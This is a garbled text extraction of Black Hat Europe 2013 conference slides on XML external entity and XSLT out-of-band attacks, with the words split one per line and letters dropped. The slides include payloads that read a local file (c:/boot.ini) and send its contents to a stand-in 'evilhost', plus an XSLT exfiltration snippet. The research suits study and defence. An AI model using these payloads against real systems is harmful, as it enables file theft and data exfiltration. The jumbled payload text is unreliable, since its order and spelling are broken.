BH Eu 13 XML Data Osipov Slides
BH Eu 13 XML Data Osipov Slides
BH Eu 13 XML Data Osipov Slides
Who
we
are
Timur
Yunusov:
Web
Applica8on
Security
Researcher
Interna8onal
forum
on
prac8cal
security
Posi8ve
Hack
Days
developer
Alexey
Osipov:
AFack
preven8on
mechanisms
Researcher
Security
tools
and
Proof
of
Concepts
developer
Agenda
XML
Overview
XML
eXternal
En88es
En88es
in
aFributes
Out-Of-Band
aFack
DTD
XSLT
Summary
Demos
Ques8ons
XML OVERVIEW
XML
overview
Very
popular
protocol
lately
Serializa8on
SOA-architecture
(REST,
SOAP,
OAuth)
Human-readable
(at
least
intended
to
be)
XML
overview
Many
opportuni8es
lead
to
many
vulnerabili8es:
Adobe
(@agarri_fr,
spasibo)
PostgreSQL
(@d0znpp),
PHP,
Java
XML
enAAes
En88es:
Predened
General
Parameter
XXE impact
Local
le
reading
Intranet
access
Host-scan/Port-scan
Remote
Code
Execu8on
(not
so
o_en)
Denial
of
Service
XXE
techniques
XML
data
output
(basic)
Error-based
XXE
DTD
(invalid/values
type
deni8on)
Schema
valida8on
Blind
techniques
XSD
values
bruteforce
(@d0znpp)
XML
constraints
XML
validity/well-formedness
WFC:
No
External
En8ty
References
in
aBributes
WFC:
No
<
in
AFribute
Values
WFC:
PEs
in
Internal
Subset
Parameter
enAAes
resolve/validaAon
algorithm
<?xml
version="1.0"
encoding="uq-8"?>
<!DOCTYPE
html
[
<!ENTITY
%
internal
SYSTEM
"local_le.xml">
%internal;]>
<!ENTITY
8tle
"Hello,
World!">
]>
<html>&8tle;</html>
local_le.xml:
<!ENTITY
8tle
"Hello,
World!">
ENTITIES IN ATTRIBUTES
PaJern
validaAon
<xs:restric8on
base="xs:string">
<xs:paFern
value="&test;"
/>
</xs:restric8on>
DEMO
OUT-OF-BAND ATTACK
XXE OOB
XXE
OOB
What
other
OOB
communica8on
techniques
are
present?
DNS
exltra8on
via
SQL
Injec8on
(@stamparm)
UTL_HTTP.REQUEST
xp_leexist
Dblink
LOAD_FILE
XXE
OOB
<?xml
version="1.0"
encoding="uq-8"?>
<!DOCTYPE
root
rSoot
YSTEM
<!DOCTYPE
[
hBp://evilhost/xml.xml>
<root>
<!ENTITY
%
remote
SYSTEM
"hFp://evilhost/evil.xml">
&trick;
</root>
%remote;
<!ENTITY
%
trick
SYSTEM
'hFp://evil/?%5Bboot%20'>
%int;
%trick;]>
Evil.xml
<!ENTITY
%
payl
SYSTEM
"le:///c:/boot.ini">
<!ENTITY
%
int
"<!ENTITY
%
trick
SYSTEM
'hFp://evil/?%payl;'>
">
XXE
OOB
DTD
Parsing,
SYSTEM
reading
AFacker
XML
Server
PROFIT!
Parsing
restricAons
Beside
restric8ons
of
all
en88es
there
are
also
new
ones
PEReferences
forbidden
in
internal
subset
(c)
XML
Specica8on
So
we
should
be
able
to
read
some
external
resource
(local
or
remote)
Wrappers
Parsing
restricAons
Quotes
are
blocking
deni8on
of
en88es
One
should
try
single/double
quotes
when
dening
en8ty
Vectors
Depending
on
parser
features
lack
of
DTD
valida8on
in
main
document
doesnt
mean
lack
of
valida8on
everywhere.
Some
possible
clues:
External
DTD
or
Internal
DTD
subset
from
external
data
Parameter
en88es
only
XSD
Schema
XSLT
template
Vectors
XSLT OUT-OF-BAND
XSLT
OOB
Controlling
XSLT
transforma8on
template
we
can
access
some
data
from
sensi8ve
host:
<xsl:variable
name="payload"
select="document('hBp://sensiXve_host/',/)"/>
<xsl:variable
name="combine"
select="concat('hBp://evilhost/',
$payload)"/>
<xsl:variable
name="result"
select="document($combine)"
/>
XSLT
OOB
Depending
on
available
features
we
can:
Get
non-xml
data
using
unparsed-text
func8on
Enumerate
services/hosts
with
*-available
func8ons
With
substring()
we
can
cra_
such
DNS
hostname,
that
will
let
us
obtain
some
sensi8ve
data
via
malicious
DNS
request
to
our
server
DEMO
Vectors
XML
WAT
R
U
DOIN?
XML
STAHP!
SUMMARY
Client-side
products
Nobody
has
ever
tried
to
hack
oneself
;)
Lots
of
products
Cons:
Cant
read
XML
les
without
encoding
declara8on
(we
can
s8ll
read
Web.cong
.NET)
No
wrappers
(except
system-wide)
Cons:
Converts
line
feeds
to
spaces
when
inser8ng
in
aFribute
Cant
read
mul8line
les
with
OOB
technique
Cons
Cant
read
big
les
by
default
(>8Kb)
Parsers
di
MS
System.XML
External
en8ty
in
aFribute
value
OOB
read
mul8line
OOB
read
big
les
Directory
lis8ng
Valida8ng
schema
loca8on
+
+
+
Java Xerces
Libxml (PHP)
+
+
+
+
+
Op8on
is
o_en
enabled
DEMO
Tools
XXE
OOB
Exploita8on
Toolset
for
Automa8on
DNS
knocking
Vectors
set
HTTP
Server
Tools
Metasploit
module
(special
thnx2
@vegoshin)
Vector
set
and
HTTP
server
provided
to
you
in
your
MSF
;-)
DEMO
Conclusions
Special greetz
Arseniy
Reutov
Ilya
Karpov
Mihail
Firstov
Sergey
Pavlov
Vyacheslav
Egoshin
QuesAons?
www.scadastrangelove.org
@Gi_sUngiven
@a66at